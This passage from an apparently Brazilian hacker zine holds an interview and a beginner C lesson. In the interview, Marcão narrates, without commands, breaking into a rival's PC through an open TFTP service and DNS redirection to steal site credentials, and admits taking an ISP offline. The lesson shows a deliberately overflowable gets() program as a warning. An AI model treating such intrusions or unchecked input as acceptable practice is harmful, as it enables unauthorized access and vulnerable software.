Ninguem merece). Enfim, pouco tempo descobri a minha vontade de sempre ser mais e
mais curioso e aprender todo dia um pouco além do que eu já sabia. Isso me levou a me
tornar professor nessa empresa, após uns 3 ou 4 meses lá. Nessa mesma época eu
conheci as famosas BBS (Bulletin Board Systems) e me apaixonei. Acessava BBSs do
Brasil e do mundo todo. Foi nesse ambiente que eu comecei a ter contato com materiais
voltados para "hacking". Foi o casamento perfeito, mais de dez anos depois continuo
apaixonado com o assunto.

[Eu]:

Antigamente a nossa classe especial de seres humanos (hackers), costumava botar medo
em civis, mas hoje esta tudo mudado, tem lammer que chega pra gente no msn e diz que
agente nao consegue invadir o PC dele (ate que alguem vai la e transforma a vida desse
lixo num inferno), nossa moral esta caindo, as elites nao sao mais respeitadas hoje em dia.
Voce, como eu e um monte de gente ae "das antigas", acha que o mundo hacker entrou
em decadencia? Diga-me o que acha da cena hacker nos dias de hoje e me fale sobre a
triste realidade que nos vivemos com relaçao a ninguem desenvolver mais nada para
contribuir com a cena "Brasileira".

[Marcão]:

O problema maior hoje é o fim do mistério. Como eu dizia, na época das BBS era tudo mais
difícil. Pra conseguir aprender alguma coisa você tinha que saber inglês pra poder ler o FAQ
da ALT.2600. Pra conseguir esse faq você tinha que acessar a USENET. Pra acessar essa
rede, você tinha que descobrir um servidor NNTP que fosse público e configurar em algum
software que permitesse. Enfim, dava mais prazer aprender pois dava a sensação tipo de uma
maçonaria, um pequeno clube secreto. Hoje, utilizando o google e um ou dois cliques, você
consegue tudo isso com muita facilidade, em português, com ferramentas próprias e prontas
pra ser usadas. Essa "aparente facilidade" faz com que os novatos acreditem que as coisas são
muito simples, pois a maioria não consegue ver a diferença entre "invadir" e "quebrar a
segurança"
. Invadir pode ser feito com princípios de engenharia social, o que torna o ato
fácil para até crianças de 5 anos. "Quebrar a segurança" exige conhecimentos avançados,
e alguém que não conheça um mínimo de programação, rede e SOs não chegaria nem perto
disso. E nem mencionei o fato de alguns inúteis que se auto-denominam "carders" sujarem
ainda mais a cena atual do hacking, fazendo com que o termo hacker seja sinônimo de ladrão.

[Eu]:

Marcos, gostaria de lhe pergunta o que voce acha dos malditos lammers, digo "lammers",
"NAO bgners", voce e do tipo que deseja a forca para esses lixos? Mande seu recadinho
para essa escoria.

[Marcão]:

Begginers ou iniciantes, todos nós já fomos. Nada mais normal que isso. Afinal, você sempre
será um iniciante em algo que nunca fez. Mesmo que eu conheça bem de redes, não entendo
nada de modelagem 3D, eu seria um principiante nessa àrea. Então, para as pessoas normais
elas sabem que sempre vão precisar aprender mais pois conhecimento não é medido de forma
vertical apenas... não existe conhecer mais ou menos, apenas de forma diferente.
Ninguém sabe todos os detalhes de determinado assunto e sempre podemos aprender trocando
informações com outros. O problema dos lamers é que, logo na primeira ou segunda coisa
que aprendem já se acham os donos do mundo e ficam criticando outros. É triste pois serão
eternamente inferiores à aqueles com humildade.

[Eu]:

Legal, agora vamos as perguntas construtivas, esta pronto?

[Marcão]:

Manda bala.

[Eu]:

Espero que saiba que estou copiando e colando as perguntas, estou pressionando a tecla x e
apagando so pra voce achar que eu estou digitando algo ae eheh Brincadeira.

[Marcão]:

hehe, de boa.

[Eu]:

Pergunta um:

Baixei sua entrevista para o cara do programa online e ele falo daquele tal grupo hacker
terrorista que nao me recordo o nome agora (pra nao sujar a entrevista sabe, detesto
divulgar gringo), entao, gostaria de lhe perguntar qual a tecnica que utilizou para fazer
deface no server dos gringotes, lembro-me que na entrevista voce nao disse muita coisa
nao, fico falando que tinha feito um troço la e o cara caiu, gostaria que voce contase a
historia direito para os leitores da C.O.D.E, sei que voce e preguiçoso pra escrever e pra
ler e tals, mas num te preocupa eu tenho todo o tempo do mundo ehhe. ah! Quanto mais
tecnico melhor.

[Marcão]:

Preguiçoso eu? imagina... kkk. Olha, não vou falar demais disso não pq já me encheu o saco
essa história. Mas vou comentar alguns detalhes que ocultei disso até hoje pra encerrar esse
caso de vez. Começou assim: um colega meu de Fortaleza me passou um link desse tal de
HAA. Eu abri o site e achei até interessante a crítica que eles estavam fazendo aos EUA.
Postei em alguns fórums e passei por e-mail a história pra um conhecido jornalista meu, que
mandou um e-mail para os caras e entrevistou eles. Quando eu li a tal "entrevista", eu
choquei. Isso porque um dos tais "membros" se auto-denominava "Sombrio". Esse é um
nick que eu utilizava na época que eu fazia parte de um grupo , o UHOL, mais ou menos
em 1996/1997. Cismei que não era mera coincidência e que o cara provavelmente me
conhecia. Fiquei curioso e perguntei ao meu colega de Fortaleza como esse site tinha chegado
nas mãos dele. Me disse que recebeu de e-mail de um hacker de Recife que ele conhecia,
mas não quis me passar o contato, disse que o cara era sistemático, etc. Enfim, eu mandei
um e-mail para o contato deles no site do Hackers Against America utilizando um pouco
de Engenharia Social, falando que eu achava que não era legal o que estavam fazendo,
especialmente de querer realizar um ataque contra o The New York Times (tava na página
deles isso) e tal. Recebi uma resposta então em português bem claro me mandando ir
para um certo lugar e continuar a enganar as pessoas de Lavras com o meu "anti-trojans".
É um programa que eu criei antes do Valhala, mas que deixei de mexer faz tempo. E o
fato dele citar a cidade de Lavras (onde eu morava na época... ), Tive certeza então que
era alguém que eu conhecia das antigas... até imaginava quem, um antigo desafeto do meu
ex-grupo que se mudou pro nordeste. Enfim, peguei o IP do cabeçalho do e-mail dele, e vi
que era originário do Recife, utilizando Velox. Comprovei o que eu achava.
A partir daí, fiz o seguinte: passei o NMAP no PC dele, pra obter o fingerprint do OS. Deu
que era Windows 2000/XP/2003 (um dos 3). Alguns dos serviços encontrados remetiam
principalmente ao XP. Exemplo: 5000 (UPNP). Mas ao mesmo tempo haviam serviços estranhos,
como RLOGIN e RSH habilitados. Também vi o DNS e o TFTP. Ao passar a opção -A do
NMAP no DNS por exemplo, ele me resultou que seria o BIND. Mas BIND pra Windows?
Deduzi que ele havia instalado o CYGWIN para realizar testes, uma espécie de
"tradutor-emulador" de Linux para Windows. Tive uma idéia então: normalmente o CYGWIN
quando mal instalado, coloca o servidor TFTP pra operar da raiz "C:\". Tentei fazer upload de
um arquivo HOSTS modificado , colocando o Domínio da página deles para cair no meu IP.
Algo como um DNS Spoofing. Busquei também um exploit mais recente do BIND, que
realizasse Cache Poisoning (envenenamento de cache) com o mesmo fim, redirecionamento do
domínio haa.narod.ru para o meu IP atual. Um dos dois funcionou: alguns minutos depois, ao
abrir o meu Valhala Honeypot e configurar um servidor FTP para a escuta, eu recebi a conexão
da minha "vítima", peguei login e senha de acesso do site real e tirei o mesmo do ar logo
depois, deixando uma "mensagem" para irritar o meu coleguinha. Pouco tempo após isso, vi
aparecer um texto no Zone-H falando que eu havia criado o site e retirado do ar. Fiquei
estupefato. Fui ler o texto e fiquei procurando o que eles teriam apresentado como "prova" do
que diziam. Basicamente no texto dizia: que como o meu primeiro livro era para iniciantes,
minhas colunas também, eu também utilizava Velox (o que por sinal é uma estupidez. O
Velox está em mais de 12 estados brasileiros, milhares de usuários) e outras bobagens. Creio
que se eu quisesse fazer um teatro como eles diziam, o MÍNIMO a fazer é mascarar o meu IP.
Se eu sei diversas maneiras de fazer isso (proxys, spoofing, anonymizer, tor, etc) por que eu
deixaria o meu IP real aparecesse se fosse realmente culpado? Enfim, acho que teve um dedinho
do meu "colega revoltado" que criou o site, provavelmente enviando e-mails para sites
especializados com a bomba de que "Marcos Flávio forjou o site terrorista" e coisa do tipo.
Por último, me acusaram de tentar "divulgar" o Valhala Honeypot para realizar a venda do
mesmo. Só se esqueceram de consultar o sourceforge no qual meses antes do ocorrido estava lá
de todo tamanho: OPEN SOURCE.


[Eu]:

Acho que ja deu para notar que essa entrevista naum e nem um pouco formal, ou seja, digamos
que seja um conversa entre amigos e por isso gostaria de uma informaçao sua, um tanto quanto
comprometedora, tipo, vc ja fudeu algum host fora o dos gringos terroristas? Se ja detonou,
me fale mais sobre isso, gostaria de divulgar suas açoes.

[Marcão]:

Não... nunca fiz o estilo Cracker... só desliguei um provedor de internet em Lavras uma vez,
durante o final de semana todo, impossibilitando a todos os usuários dele acessarem a net.
Mas isso eu era adolescente tb... tinha uns 16, 17 anos na época. Não curto muito fazer
defaces não, nunca vi muita utilidade em competir "quem pixa mais".

[Eu]:

Andei reparando em seus videos para o DEFHACK e na maioria dos seus videos "por fora"
e percebi que uma grande parte dos mesmos sao baseados nos ensinamentos de sua
certificaçao, o CEH, pra te falar a verdade acredito que todos os macetes que vc ta ensinando
nos videos voce aprendeu la ('eu acho'), tipo : ADS, Fake URL, Spoofing (usando sterm),
Hijacking de telnet, Trojan Beast, Cain, etc. Eu andei absorvendo toda a certificaçao e vi
que existe muita coisa boa. Enfim Marcos, me conte o que de bom o CEH lhe trouxe e
diga para os leitores da C.O.D.E o quanto que ela pode nos beneficiar.

[Marcão]:

Olha, muitas dessas técnicas eu já conhecia antes de estudar para a certificação. Mas a CEH
realmente me trouxe muito conhecimento, pois é um certificado muito interessante. Afinal, é
o primeiro tipo de certificado formal de que você sabe realizar um penetration test, ou teste
de invasão. Não vou dizer que a CEH lhe certifica que é um hacker, pois isso não é
relacionado com o seu nível de conhecimento apenas e sim ao seu nível de criatividade. Mas
é muito satisfatório você receber um certificado assegurando que você sabe invadir um
sistema. Melhor ainda: reconhecido internacionalmente.

[Eu]:

Me conte de onde surgiu a ideia de criar um honeypot, me refiro ao valhala. Gostaria de dizer
que ele é bom, acompanho a evoluçao dele a muito tempo e vejo que a cada nova versao
voce se supera. Existem varios carinhas fazendo Honeys em Delphi, creio eu que na esperança
de se comparar ao valhala, alguns até fazem seus honeys "com a mesma interface" e mesma
funçoes do valhala, mas deixa isso pra la, melhor naum comentar. Foi voce o pioneiro em
desenvolvimento de honeys por aqui? Estou certo ou estou delirando?

[Marcão]:

haha, eu já vi alguns desses honeys que o pessoal faz. Muitos fazem apenas o que o meu
anti-trojans fazia anos antes do Valhala. Abre uma porta, recebe uma conexão, desconecta
o indivíduo e mostra o IP na tela. Fico até honrado quando vejo que alguns extraíram o
código-fonte do Valhala, sem nem mudar o nome das variáveis (risos). Eu realmente evolui o
Valhala desse ponto a muito tempo, implementando servidores como FTP, WEB, TFTP,
FINGER, etc... pretendo inclusive colocar um DNS (caso a falta de tempo me permita
terminar a versão 2.0). Olha, pioneiro em honeypots no Brasil eu creio que não sou,
pois existem vários projetos mas a grande maioria é voltado para sistemas Unix/Linux. O
Valhala, apesar de também opensource, tem alguns objetivos bem específicos: Ser fácil de
usar, com interface gráfica, para Windows, todo em português e com o tamanho bem
pequeno. Acho que cumpri esses requisitos, afinal, mais fácil de usar impossível e para um
programa com mais de 5 servidores, ele tem menos de 1 MB de download. Talvez nesses
objetivos sim, eu tenha me saído um pouco mais pioneiro.

[Eu]:

Voce pode arrumar para os leitores da C.O.D.E o font do valhala? Tipo assim cara, eu uso
muito IDSs como o snort e tal, se eu to afim de algo facil e descomplicado eu corro pro
valhala porque enfim....o valhala é o valhala, mas infelizmente para mim os binarios nao é o
limite, por isso venho lhe pedir encaricidamente que disponibilize o fonte do mesmo para a
galera analisar e quem sabe "acrescentar algo", "nao refazer o mesmo com um outra interface
e mudar os creditos"
.

[Marcão]:

O fonte está na página do sourceforge do Valhala, disponível para todos:
www.sourceforge.net/projects/valhalahoneypot

[Eu]:

Para encerrar:

Quais os bugs mais recentes que voce descobriu? Tipo, aqueles bugs que agente naum revela
pra ninguem e tals, mas peso que abra uma exceçao para os leitores desta revista, conte-nos
sobre eles, adoraria conhecer suas tecnicas ninja, tambem tenho as minhas mas num digo porque
pode virar cu de bebo, mas enfim, entrega o ouro ae eheh.

[Marcão]:

Cara, infelizmente a minha época de ter tempo para brincar, fuçar e descobrir novos bugs
já passou. Hoje eu trabalho o dia todo, estudo à noite e ainda dou aulas no final de semana,
sem falar de cuidar da família. Mas pode deixar que, se no curto tempo livro descobrir
alguma coisa interessante, lhe falo pra vc compartilhar no seu zine.

[Eu]:

Marcos, foi um prazer lhe entrevistar, e aproveitando a deixa gostaria de te pedir que
escrevesse papers para a zine, mas se naum quiser tudo bem, nois aqui tenta levar assim
mesmo eheh. Ja to com alguns papers que o pessoal under da antigas escreveram ae para
a revista, mas gostaria de um paper seu aqui tambem, que tal?

[Marcão]:

Não prometo nada por causa da falta de tempo que te falei, mas pode deixar que um dia
o paper sai... haha

[Eu]:

Ops... E se eu te falasse que temos que começar outra vez porque eu fechei a janela do
MSN, voce faria novamente a entrevista?

[Marcão]:

Putz... tá brincando né? kkk

[Eu]:

Zuera vei Uhauhauh!!! Valeu cara, até mais ;-)



[s]


----- C4p1Tul0 09


[+ ======X============X===============X===== +]
CURSO DE LINGUAGEM C PARTE 3
[+ ======X============X===============X===== +]

Vamos a mais uma parte do nosso cursinho de C. Não tenho muito que falar na introdução
desta seção, só tenho que alertar sobre a importancia de aprender C, pois se voce souber C
voce é feliz =) Recomendo muito para os leitores desta seção que não tenham experiencia com
a linguagem, que olhem as zines anteriores. Sei que nas partes anteriores não tenho dado a
devida seriedade que este assunto merece e tenho sido um pouco imaturo, mas olhem
a segunda edição para verem sobre leitura e declaração de variaveis do tipo inteiro (int).
Só pra relembrar as edições passadas gostaria de lhes mostrar como é um tipico code em C.

#include <biblioteca.h> /* Aqui inserimos a biblioteca que contem as funções que
serão declaradas dentro do bloco de codigo.*/


int main () --> Declaramos a função principal, a que inicia o codigo.

{ < -------------+ ------- > Abre o bloco de codigos

< -------------+ ------- > Aqui entra as declarações e etc.

} < ------------ + ------- > Fecha o bloco de codigos

Na segunda parte do curso voce aprendeu a declarar variaveis do tipo inteiro, ou seja,
variaveis que armazenam valores numericos, mas vou dar uma relembrada aqui, nem
esquenta. Já que esse curso se destina a quem nunca teve contato com programação
nenhuma, creio que devo explicar o que seja uma variavel, pois me esqueci de falar
sobre isso nas edições passadas (eita curso bagunçado esse XP). Podemos dizer que
uma variavel nada mais é que uma palavra que voce inseri no programa que armazena
algum valor (conteudo), exemplo:

-------- cut --------
#include <stdio.h>

int main ()
{
int variavelx=2;
printf ("O valor da variavel 'variavelx' e %d", variavelx);
return 0;
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>file1
O valor da variavel 'variavelx' e 2

Nesse exemplo acima declarei (criei) uma variavel chamada variavelx e inserir um valor a
essa variavel, o valor da variavel é 2, podemos inserir valores a variaveis utilizando esses
metodos:

int variavel; ----> Declarei a variavel 'variavel' mas não inserir um valor para ela.
variavel=2; ---- > Agora sim inseri um valor.

int variavel=2, --- > Aqui declarei e inseri um valor para variavel.

Como voces podem ver no primeiro exemplo, inicialmente apenas declarei a variavel
'variavel' para logo abaixo definir um valor (conteudo) que ela armazenará, que no caso
é 2. Podemos inserir e 'modificar' um valor de uma variavel sempre que assim desejarmos.

Exemplo:

-------- cut --------
#include <stdio.h>

int main ()
{
int variavelx=2; // --> Declarei que o valor da variavel seria 2

printf ("O valor da variavel 'variavelx' e %d\n", variavelx);

variavelx=10; // -- > Mudei o valor da variavel para 10

printf ("Agora o valor da variavel 'variavelx e %d", variavelx);
return 0;
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>file1
O valor da variavel 'variavelx' e 2
Agora o valor da variavel 'variavelx e 10

Podemos declarar variaveis utilizando esses métodos:

int variavel;
ou
int variavel;
int variavel2=2;
ou
int variavel1, variavel2; //Declaração de duas variaveis do tipo inteiro (mesma linha)
ou
int variavel1=10, variavel2;
ou
int variavel1=10, variavel2=20;

Caso voce queira declarar varias variaveis de um determinado tipo em uma mesma
linha, utilize a virgula para cada novo nome de variavel, como voce viu acima
(int variavel1, variavel2). Ja que voce sabe que para declararmos uma variavel do
tipo inteiro (que é uma variavel que armazena numeros) utilizamos o 'int', e
utilizamos o '%d' para ler o conteudo (valor) 'desse tipo' de variavel, podemos
agora passar para as variaveis do tipo 'char'. As variaveis do tipo char armazenam
strings, ou em outras palavras, armazenam texto. Uma string nada mais é que uma
sequencia de caracteres terminada por '\0'. Para declararmos uma variavel do tipo
'char' fazemos a mesma coisa que fazemos quando queremos declarar uma variavel
do tipo inteiro, ou seja,

Tipo variavel=Valor;

A unica diferença com relação a uma declaração de variavel do tipo int para uma do
tipo char é que para declararmos uma variavel do tipo 'char', temos que definir o
tamanho de bytes que essa variavel pode armazenar, o local onde são armazenados
esses bytes é chamado de buffer. Exemplo:

char variavel[7]; < --- > tipo variavel[buffer];

Vale lembrar que cada caractere que uma variavel do tipo char armazena equivale a
1 byte, então a string "luzinha" conterá um total de 7 bytes sem contar com o
terminador de string (\0). Sempre temos que reservar um byte no buffer para o
terminador nulo (\0), ou seja, deve ficar assim:

char variavel[8] = "luzinha\0";

Acima definimos que a variavel de nome 'variavel' seria do tipo char e armazenaria
8 bytes, ou seja, a variavel teria um buffer (local de armazenamento) que suporta 8
caracteres, pois vale lembrar que um caractere equivale a 1 byte. Voce deve estar
curioso para saber de um detalhe, vamos supor que voce está me perguntando isso:

Mas se eu inserir mais bytes que esse buffer suporta, o que acontecerá?

Caso voce insira mais dados que um buffer pode suportar aparentemente não
acontece nada, pois o programa irá aceitar, mas ocorre o chamado buffer overflow,
ou simplesmente, estou de buffer. Onde podemos dizer de certa forma que acontece
uma 'explosão', mas a explosão vai ser na pilha, mas esse essunto está longe de ser
o focu principal deste paper. Na proxima edição da C.O.D.E vai ter uns papers
maneiros onde meu amigo darkmoon vai tentar passar pra voces uma boa base de
desenvolvimento de shellcode (isso se ele arrumar tempo ^^), pois é necessario
aprender desenvolver shellcodes para a 'exploração da falha' de estouro de pilha.
Gente, não pensem que é facil desenvolver shellcodes, todo mundo que meche com
isso hoje ja sentiu "MUITA" dificuldade, mas posso adiantar ai como se previnir o
buffer overflow, simples:

Não use funções perigosas, ponto ^^.

Não quero assustar voces POR ENQUANTO, pois algumas funções eu ainda vou
ensinar ^^, tipo assim galera, posso ensinar uma unica maneira de prevenção agora,
só pra voces não falarem que minha zine é de péssima qualidade (heheh) vejam esse
code:

-------- overflow.c --------
#include <stdio.h>

main (void){
char str[3];
printf ("Estoure meu buffer [size buffer:3]:");
gets (str);
printf ("%s",str);}

---------- cut ----------

Vamos ver onde acontece os sonhos ^^.

Resultado:


C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:ab < -- 2 caracteres + o terminador \0 = 3 (Normal =)
ab
C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas o programa ainda não deu pau
1234567891011
C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer
destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer

Olha que mensagem legal que o windows me deu 'depois que eu digitei a ultima string':

O overflow.exe encontrou um problema e precisa ser fechado.

Mensagem legal ;-)

Como evitar? Voces se lembram da função scanf que falei nas zines anteriores? Pois é amigo,
ela também é vulneravel hauhauh!!! Mas calma, calma, quem estuda C tem que conhecer o
maximo de funções possiveis, mas o interesante é que ele não é totalmente vulneravel =)
Eba!!! Eba!!! hauha!!! Voces devem estar dizendo: Ufa!! Basta usar especificadores para
limitar o tamanho da string que vai ser passada para o buffer ;-) Exemplo:

---------- cut ----------
#include <stdio.h>

main (void){
char str[6]; //Armazena 5 caracteres + o '\0'
printf ("Seu nome rapaizinho [buffer 6]:");
scanf ("%5s", &str); //Pega "5" bytes (caracteres) e joga para str
printf ("%s",str);}

---------- cut ----------

Resultado:

Execução normal:

C:\Documents and Settings\David\Desktop>overflow
Seu nome rapaizinho [buffer 6]:David < -- Escrevi os cinco caracteres ;-)
David < -- Leu os cinco caracteres deboa ;-)

Engraçadinho tentando estourar meu buffer:

C:\Documents and Settings\David\Desktop>overflow
Seu nome rapaizinho [buffer 6]:David gostosao < -- Mais de cinco caracteres ;]
David < -- Aham!!!!! Só imprimiu 5 caracteres, porque ele pegou só 5 ;)

Na proxima C.O.D.E vai algo mais completo ;)

Continuando.....

Olha que interesante as variaveis do tipo 'char' se comparadas com as variaveis
do tipo 'int'.

int variavel=2;

char variavel[7]="String";

Repare acima que eu sempre reservo um espaço para o '\0' que é colocado
"automaticamente" no final de uma string, nem se preocupe (gets e tals =).

Repare que no C como em muitas linguagens de programação, para se referir a uma
string (Sequencias de texto) necessitamos utilizar as aspas para determinar que ali
se refere a uma string, as strings são conhecidas no C como vetores de caracteres,
que como eu ja havia falado: 'Sempre terminam com um caractere nulo'. Por isso
devo alertar mais uma vez: "sempre reserve um espaço em seu buffer para esse
terminador"
.

A principal caracteristica de uma variavel do tipo char é justamente as aspas
nos seus valores =). Ja para valores de variaveis do tipo inteiro não precisamos
inserir aspas, pois como todos sabemos, variaveis do tipo 'int' armazenam numeros,
mas se voce quiZer que um determinado numero seja entendido como string basta
coloca-lo entre aspas (e claro que declarando o char antes do nome da variavel =)

char variavel[buffer] = "123456";

Para lermos valores do tipo 'char' ao invéz de utilizarmos o '%d', utilizamos o '%s'.
Vamos a um exemplo de declaração de variavel e declaração de valor e logo
depois uma demonstração de leitura deste valor.

-------- cut --------
#include <stdio.h>

int main ()
{
char ax[8]= "luzinha";
printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
printf ("O valor da variavel 'ax' e: %s", ax);
return 0;
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>file1
A variavel 'ax' possui 8 caracteres
O valor da variavel ax e: luzinha

Se voce reparar bem poderá perceber que o operador sizeof (falarei logo mais)
me retornou o numero correto de bytes existente naquele buffer (area de armaze
namento), mas quando a função printf me mostrou qual era o valor da variavel
'ax' ela não exibiu de forma alguma o terminador nulo que foi inserido no final
da string, ou seja, esse nome 'terminador' não significa 'terminador' por qualquer
motivo, ele simplesmente existe para marcar o fim de uma sequencia de texto e
não pode ser lido.

Vamos fazer uma pequena modificação no exemplo anterior

-------- cut --------
#include <stdio.h>

int main ()
{
char ax[8]= "luz\0inha"; // <--- Reparem no que eu fiz
printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
printf ("O valor da variavel ax e: %s", ax);
return 0;
}
-------- cut --------

Resultado:

A variavel 'ax' possui 8 caracteres
O valor da variavel ax e: luz

Podemos fazer com que o compilador detecte e crie um buffer com uma
determinada quantidade de bytes sem precisarmos especificar manualmente
quantos bytes nosso buffer vai ter, ou seja, o compilador mesmo analisa
e cria um buffer contando o valor da variavel, para fazer isso basta não
especificar a quantidade de bytes que seu buffer vai ter =). Simples, pois
assim ele vai fazer como eu falei: cria um buffer se baseando na quantidade
de caracteres do valor da variavel e ainda vai inserir no final da string o
terminador nulo automaticamente =). Exemplo:

-------- cut --------
#include <stdio.h>

int main ()
{
char ax[]= "luzinha"; // <-- Repare aqui que meu buffer '[]' está indefinido
printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
printf ("O valor da variavel 'ax' e: %s", ax);
return 0;
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
A variavel 'ax' possui 8 caracteres
O valor da variavel 'ax' e: luzinha

Repare que o operador 'sizeof' contou a quantidade de bytes no valor da
variavel 'ax' e me retornou quantos bytes existia nesse buffer, ou seja,
8 bytes

luzinha -- > 7 bytes
\0 --> 1 byte

Acho que ja está na hora de falar sobre o operador sizeof. Bem, este operador
é utilizado para verificar o tamanho (em bytes) 'dos tipos' e 'variaveis' desses
tais tipos, vale lembrar que este operador pode ser lido como um inteiro, sua
sintaxe é assim:

sizeof (variavel)
ou
sizeof (tipo)

Exemplo:

-------- cut --------
#include <stdio.h>

int main ()
{
char ax[]= "luzinha";
printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
return 0;
}
-------- cut --------

Vamos ver agora como saber o tamanho (em bytes) de um determinado 'tipo', isso
varia muito, vamos supor que voce voce está operando uma maquina com hardware
de 32 bits (Que é o meu caso nesses exemplos):

-------- cut --------
#include <stdio.h>

int main ()
{
printf ("Cada caractere de um valor do tipo \
char equivale a '%d' byte\n"
, sizeof(char));
return 0;
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
Cada caractere de uma valor do tipo char equivale a '1' byte

Repare que utilizei o sizeof seguido do 'tipo' (char) da variavel que eu
quero saber o tamanho (sizeof (char)). Vamos fazer o mesmo
procedimento só que agora eu quero saber qual o tamanho de um 'int'.

-------- cut --------
#include <stdio.h>

int main ()
{
printf ("Um 'int' equivale a '%d' bytes\n", sizeof(int));
return 0;
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
Um 'int' equivale a '4' bytes

O resultado mostrou que um int equivale a 4 bytes. Só pra lembrar:

8 bits = 1 byte
4 bytes = 32 bits

Essa é a melhor forma de indentificarmos a quantos bits nosso hardware opera,
em uma maquina de 16 bits muito provavelmente um 'int' equivale a
16 bits, já em maquinas de 32 bits o 'int' será 32 bits, ou seja, 4 bytes.
Simples =) Como ja havia falado anteriormente não vou me aprofundar nisso,
pois torno a repetir que esse não é o foco principal deste paper.

[===XX=XX===]
Indice no C
[===XX=XX===]

Esse é um assunto de extrema importancia, gostaria que voces prestassem bem
atenção. Em uma string (sequencia de texto), cada caractere recebe como eu
posso dizer... uma identificação, isso, identificação. Cada caractere contido em
uma string recebe numeros que as identificam dentro desta string. O primeiro
caractere contido em uma string sempre vai ser 0 ao invéz de 1 como poderiamos
até chutar para ser o primeiro, analise esse exemplo abaixo:

< ----------- >
luzinha\0
01234567
< ----------- >

O interesante é que podemos ler determinados caracteres dentro de uma
string utilizando seu numero de indice (seu identificador =).

Vamos a alguns exemplos :]

-------- cut --------
#include <stdio.h>

int main (){
char ind[8]="luzinha";
printf ("A primeira letra da string 'luzinha' e '%c'", ind[0]); // <-- Repare aqui =]
return (0);}

-------- cut --------

Acima voce pode ver que para ler UM CARACTERE contido na string
utilizamos o '%c' e logo em seguida especificamos a variavel seguida do
tal identificador deste caractere 'dentro do buffer'. Vou escrever novamente
meu primeiro exemplo para um melhor entendimento:

luzinha\0
01234567

Acima voce pode ver que o primeiro caractere da string 'luzinha' é 'l', e
como eu ja havia falado anteriormente já que esse caractere é o primeiro
caractere contido na string então seu identificador dentro do buffer vai
ser o 0. Com esse metodo de leitura podemos visualizar determinados
valores apenas utilizando seu numero de indice, assim podemos entender
que apenas a letra 'l' vai ser impresa na tela, vamos ver.

Resultado:

C:\Documents and Settings\David\Desktop>sinc
A primeira letra da string 'luzinha' e 'l'

Bingo! Para visualizar o primeiro e o segundo caractere da string "luzinha"
utilizamos dois sinais de '%c' e logo em seguinda utilizamos a variavel e o
numero de indice do buffer que estes caracteres estão.

Exemplo:

-------- cut --------
#include <stdio.h>

int main (){
char ind[8]="luzinha";
printf ("As duas primeiras letras da string 'luzinha' \
sao: '%c' e '%c'"
, ind[0], ind[1]);
return (0);}

-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
As duas primeiras letras da string 'luzinha' sao: 'l' e 'u'

Não pretendo dar focu sobre isso "agora", vamos nos aprofundar nesse tema nas
proximas edições quando falaremos sobre matrizes... se bem que isso:

char ind[8]="luzinha";

Pode ser considerado uma matriz, mas é uma matriz de caracteres ;) ou seja, para
ler um CARACTERE dentro desta MATRIZ vamos utilizar o %c, vou mostrar para
voces uma matriz de numeros, ou seja -> Matrix do tipo inteiro ( =):

main (){
int num[2]={123, 456};
printf ("%d + %d = %d\n", num[0], num[1], (num[0] + num[1]));
system ("pause");}

Espero que voce seja esperto, pois agora nao e hora de falar de matrizes e sim
do tal do indice, mas como sempre eu gosto de deixar voces com uma boa base
de tudo que eu escrevo, para voces irem pegando as coisas nas proximas edições
com mais facilidade :)

[==X=========XX=XX===========X=]
O TIPO VOID
[==X=========XX=XX===========X=]

Eu tinha falado vagamente sobre o tipo 'void' na edição passada, disse que 'void'
era um tipo sem tipo, que só estava ali para dizer que determinadas coisas são vazias.
Agora vamos falar um pouco dele, ei ei ei: Para quem não sabe 'void' significa 'vazio'
em portugues (só pra constar =). O void possibilita que a criação de funções que não
retornam nada e também possibilida a criação de funções sem parametro. Exemplo:

-------- cut --------
#include <stdio.h>

void main (void){ // < -- Função 'main' não retorna nada e também não tem argumentos
printf ("Sinck");}

-------- cut --------

Nossos compiladores são programados para lhe alertar sobre a existencia de
um 'void' ao invez de int antes da função 'main' (caso voce declare o void antes
do main... dã!!), o meu compilador me retornou a seguinte mensagem:

3 C:\Documents and Settings\David\Desktop\void.c [Warning] return type of 'main' is not `int'

Tradução:

3 C:\...\void.c [Avisando] o tipo de retorno de 'main' não é 'int'

Isso acontece porque o compilador pensa que a função main tem sempre que retornar um
inteiro, caso quiZermos que nosso sistema receba o valor de retorno de main, basta
declarar a mesma como um inteiro (int main) e especificar dentro do bloco de codigo
o valor de retorno, exemplo:

'return (numero de retorno)'

Se não especificarmos o tipo de retorno de uma função o compilador vai supor que este
tipo é inteiro. Caso main retorne 0 (inteiro) significa que nosso programa teve uma
execução normal, caso o main retorne um numero diferente de zero significa o oposto.
Caso voce não queira passar o valor de retorno da função main para o sistema, basta
utilizar o 'void', assim voce não precisará especificar o 'return 0' para representar um:
'tudo certo'. Recapitulando:

e o 'return (-1)' para representar anomalia :]

Vale lembrar que é sempre bom voce especificar o valor de retorno, seus codes ficam
mais hackoes e mais profissionais rsrs, tinha que colocar uma palhaçada (aff).

Um detalhe interesante:

-------- cut --------
#include <stdio.h>

main (void){ // < -- Da uma olhadinha ai gente boa
printf ("Me chupa");}

-------- cut --------

Isso ai em cima também rola cara, porque como eu ja falei anteriormente, por padrão
o C retorna um inteiro, ou seja, nem precisamos especificar o 'int' =)

-------- cut --------
#include <stdio.h>

int main (void){ // < -- Coloca o int se quiZer =)
printf ("Me chupa");
return 0;} //Coloca o 'return 0' se quiZer =]

-------- cut --------

[========XX=XX========]
O TIPO FLOAT
